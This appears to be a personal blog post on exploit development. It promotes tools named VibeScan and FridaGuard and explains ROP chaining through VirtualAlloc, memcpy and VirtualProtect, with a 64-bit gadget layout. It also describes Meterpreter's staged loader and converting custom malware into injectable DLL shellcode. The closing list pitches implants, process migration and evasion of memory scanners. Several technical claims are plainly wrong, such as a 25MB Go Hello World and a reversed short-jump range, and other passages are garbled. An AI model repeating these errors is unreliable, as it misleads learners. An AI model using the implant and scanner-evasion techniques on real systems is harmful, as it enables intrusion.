How AI is accelerating exploit development and needs of VibeScan & FridaGuard

And how real exploit developers and software engineers learn through creative puzzle solving

All right, so let’s talk about exploit development and software engineering. Both are really hard—exploit development being a bit harder due to modern stack and heap mitigations, but AI is quickly lowering that bar.

I have said in my previous writing that you can perform a 5-byte pivot from a 2-byte pivot in 32-bit exploitation. You can jump 127 bytes back or 128 bytes forward on a living binary to your next call target—a function that simply calls another function—but you replace those 4 bytes of that second function with the memory page location where your shellcode is stored.

That sounds complicated, but the truly difficult part is the creativity required to chain them. If you took a basic buffer overflow course, you probably never learned about chaining gadgets together. And these are all gadgets.

Now, let’s go back to software engineering. Everyone has taken a Java, JavaScript, PHP, or Go course on Udemy. But unless they told you to do a private project—and I don’t mean copy-pasting, because even typing along with a video is just slow-motion copy-pasting—you haven’t built anything yet. If someone said, ‘Build a MongoDB-connected Node.js walkthrough with a client-side form,’ and you just followed the video, you didn’t learn the ‘why.’

Go rewrite that entire project in Go. Read the documentation. You aren’t a software engineer until you start porting software from one language to another, mastering the documentation, and creating your own product. That is real software engineering.

The triple synthesis between exploit development, malware development, and reverse engineering

AI tends to cause another level of this conflict. Previously, I said you’re not really a software engineer unless you’re creative, which requires reading documentation. If you created a full-stack Node.js app with a JavaScript or React frontend connected to a MongoDB backend, you had better rewrite that in Go. You might buy two different courses, but the Go-specific CI course likely has no idea how to implement the logic from the other Udemy course.

AI has abstracted away the process of searching libraries, but unfortunately, AI is often terrible at understanding the nuances of how a specific function within a library works. You’ll find yourself screwing around with that. That is why VibeScan—and eventually FridaGuard—is so valuable.

VibeScan can parse an argument and identify an unsafe strcpy function allowing a binary exploit. It already knows the answer: if it’s 32-bit, or zero-extended in 64-bit, that would require roughly 9 bytes to pack the 64-bit binary and zero-extend it into RIP.

This is why VibeScan and FridaGuard should be packaged together. Users should have the option of using the FridaGuard package to scan their code and validate that their binaries are indeed vulnerable. Not everyone is an exploit developer, and not everyone is a software engineer.

In fact, exploit developers have more in common with reverse engineers and malware developers. All three have massive overlap because they are all manipulating the stack either statically or dynamically. You don’t get far in any of these fields without understanding how the stack, heap, and memory mitigations work. To run malware as shellcode, retrieve it remotely, or execute a COFF or BOF file in memory—like a Cobalt Strike beacon or a Havoc BOF—you have to understand how to manipulate memory protections just to make that page executable.

Why training courses and bootcamps are the way they are

And just like that, I have basically exposed the reality of technical training. I wouldn’t call it ‘training fraud or misrepresentation’—you got exactly what you paid for from Udemy or a bootcamp because you signed up for the syllabus. But here is the reality: it would be unfathomably long to include these self-taught, creative elements in a standard exploit development course. That is exactly why these courses are designed the way they are. They give you a controlled environment and the bare-metal basics, expecting the learner to find the internal motivation to bridge the gap between a ‘lab’ and a ‘real-world exploit.’

Previously, I said you’re not really an engineer unless you’re creative. If you built a full-stack Node.js app, you had better rewrite it in Go. You might buy two courses, but the Go course won’t show you how to implement the logic from the Node course. You have to figure that out yourself.

The same applies to exploit dev. We haven’t even touched on COOP, COP, or POP. Most real exploit developers are self-taught because they had the curiosity to solve the same problem ten different ways. I remember doing a CTF and thinking that because I could replicate an exploit from Exploit-DB, I could hack anything. I was badly wrong. In a real application, it’s unlikely you’ll have enough stack or heap space to pop a shell after bypassing mitigations.

Writing malware teaches you more because you have to manipulate memory. My tactic was often allocating new memory pages—using a ROP chain to set permissions to RWX—to guarantee enough space for an inline staged payload. Most courses won’t tell you that in a real exploit, you have to be ten times more creative. They provide the foundation of memory corruption and expect you to ‘try harder’ to chain gadgets, like using a short jump pivot to a call pivot.

Whether it’s using an Egg Hunter to scan memory or overwriting just 2 bytes for a partial overwrite, it requires a level of persistence a 40-hour course can’t give you. It’s no different than software engineering. You can’t just copy-paste. You’re going nowhere until you start porting code to different languages and writing your own Proof of Concept from documentation alone.

VirtualAlloc is your No. 1 Go-To for Staged Payloads combined with Shellcode-less ROP-ping

I recall someone mentioning chaining VirtualAlloc, grabbing the return value—which is the handle to the allocated page—and passing it directly into VirtualProtect. I don’t recall any course actually teaching that, yet it’s one of the most obvious things you should do. Between your 2-byte stack pivot to your second-stage call pivot and bypassing mitigations with your ROP chain, combining the return address from VirtualAlloc into VirtualProtect is a no-brainer.

Most exploit development courses are designed to show you how to bypass mitigations, not how to be creative—though they do remind you that creativity is required. If you want to see real binary exploits, I highly recommend looking at Austin Babcock on Exploit-DB. You can search site:exploit-db.com “Austin Babcock”. This guy is an academic who solved the same exploit on a real application using not just ROP chains, but JOP (Jump-Oriented Programming) chains.

You realize that with ROP, you can technically achieve ‘shellcode-less’ execution, right? You keep chaining after you’ve set your packed arguments. In Python, you use the struct module—specifically struct.pack(’<L’, address) for little-endian 32-bit—to pack your addresses. This is much better than manually typing addresses in reverse. That entire chain is essentially ‘shellcode-less’ until the moment you point the instruction pointer to a specific memory page, cast a pointer, and execute.

Until you reach that page where you’ve overflowed your shellcode, you are essentially using ‘ROP-Gadgets-Fast-Call.’ Babcock did the same exploit using both ROP and JOP, likely to prove a point about flexibility. Why would I insist on calling VirtualAlloc, grabbing that clean page, and then using VirtualProtect to set permissions before moving shellcode there? Because every Windows binary is linked to kernel32.dll, which for 64-bit proxies to kernelbase.dll, which then proxies to ntdll.dll. There is no excuse. If you can calculate the offset for VirtualAlloc, you can find the underlying syscalls in ntdll.dll. You have every tool you need to allocate a clean slate.

The arguments discounts for Windows (msvcrt) and Linux (libc), 4 to 6 arguments are FREE on 64-bit

Just for information—it sounds like this takes a lot of stack space, but I think there’s a misunderstanding of how calling conventions differ between 32-bit and 64-bit. While only 48 bits are used for addresses in 64-bit (you just zero-extend them), we have to stick to the calling conventions. You know how fastcall works, right?

In 32-bit computing, whether on Windows or Linux, arguments for VirtualAlloc or malloc are stored directly on the stack. That means you must have stack space available to hold those arguments when you call the function. But in 64-bit computing, you get a ‘4-argument discount’ on Windows. If you read the MSDN documentation, you’ll see that the first four arguments (pointers, integers, sizes, or nulls) don’t take up stack space; they are passed directly into registers. On Linux, you get a 6-argument discount.

Through ‘shellcode-less’ ROP chaining, you just set up the registers to create your new buffer. It’s actually easier to do in 64-bit. This means you might not need 100+ bytes to set up the stack like you would in 32-bit. You just insert the arguments into the registers and go.

VirtualAlloc + safe memcpy is very powerful

Do not forget about your shadow space for 64-bit

1 GADGET_POP_RCX_RET Load 1st Arg (Address)

2 0x00000000 (Actual Arg)

3 GADGET_POP_RDX_RET Load 2nd Arg (Size)

4 0x00001000 (Actual Arg)

... ... (Rest of Registers, like R8, R9)

5 ADDR_VIRTUALALLOC The function call itself

6 GADGET_CLEANUP Where to go after VirtualAlloc returns

7 0x00000000 Shadow Space (8 bytes)

8 0x00000000 Shadow Space (8 bytes)

9 0x00000000 Shadow Space (8 bytes)

10 0x00000000 Shadow Space (8 bytes)

11 NEXT_GADGET Your next move (e.g., memcpy + VirtualProtect + CreateThread)

You can repeat steps 1 to 11 for EVERY gadget with the 5th (Windows) or 7th argument (Linux) being put on the offset from the RSP, it sounds complex but it really becomes very uniform, but you cannot ignore the Shadow Space or risk crashes on return.

Remember, because of the argument discounts, you get four arguments per gadget FREE to do things like VirtualAlloc for Windows.

Most people talk too fast and miss the details. For one, if a program is written in C, there isn’t just one universal ‘bad byte’ (0x00). You also have to deal with Line Feed (0x0A) and Carriage Return (0x0D). People focus on 0x00 because it’s cross-native compatible, which is why in exploit development, you’re often restricted to a partial EIP overwrite.

Where did I learn about this? Reverse engineered Meterpreter staged shellcode writeups

How do I know about the VirtualAlloc trick? Around 2018 or 2019, I read a write-up on how Metasploit updates its shellcode generators and encoders (which are essentially de-obfuscators). A researcher reverse-engineered the Metasploit Meterpreter staged payload. If you look at that stager, what it really does is change memory protections, allocate more memory pages, and change those protections again to fetch the final, inline Meterpreter payload to run in memory.

That’s how you’re able to execute a staged payload even when you only have a few hundred bytes of stack space. I’ve known about the VirtualAlloc -> memcpy -> VirtualProtect trick since 2018, before I even did my first binary exploit.

I also remember a guy with a deep voice who had a YouTube course (formerly on Udemy) teaching the SLMail 5.5 exploit. But I was curious and found an article by a researcher—possibly Pakistani—who reverse-engineered the Meterpreter staged payload stub to the point where it decoded the rest of the shellcode. That’s when it clicked: it’s always VirtualAlloc, memcpy, VirtualProtect, and CreateThread.

With this knowledge, you can create DLL shellcode using monoxgas’s sRDI (Shellcode Reflective DLL Injection) on GitHub. Instead of just throwing in Meterpreter shells, you can inject your own custom malware. You just have to keep it small. Compiled Go binaries are too huge—Hello World is 25MB—so you need to stick to C, C++, or Rust to get that native, small-footprint DLL shellcode. Recompile your custom malware and throw it into the stack, as long as it stays in the kilobyte range.

Understand how to allocate, copy, and change memory protections on your defined pages allows you to

You can...

1. Run most C-based shellcode of specific reasonable sizes

2. Drop implants besides just reverse shells and beacons

3. Drop staged shellcode that can migrate to other processes automatically

4. Create pages that are filled with implants to manipulate hardware breakpoints to stop scanning of the pages or react to memory scanners

5. Put larger payloads and custom tools

It is a incredibly powerful ability.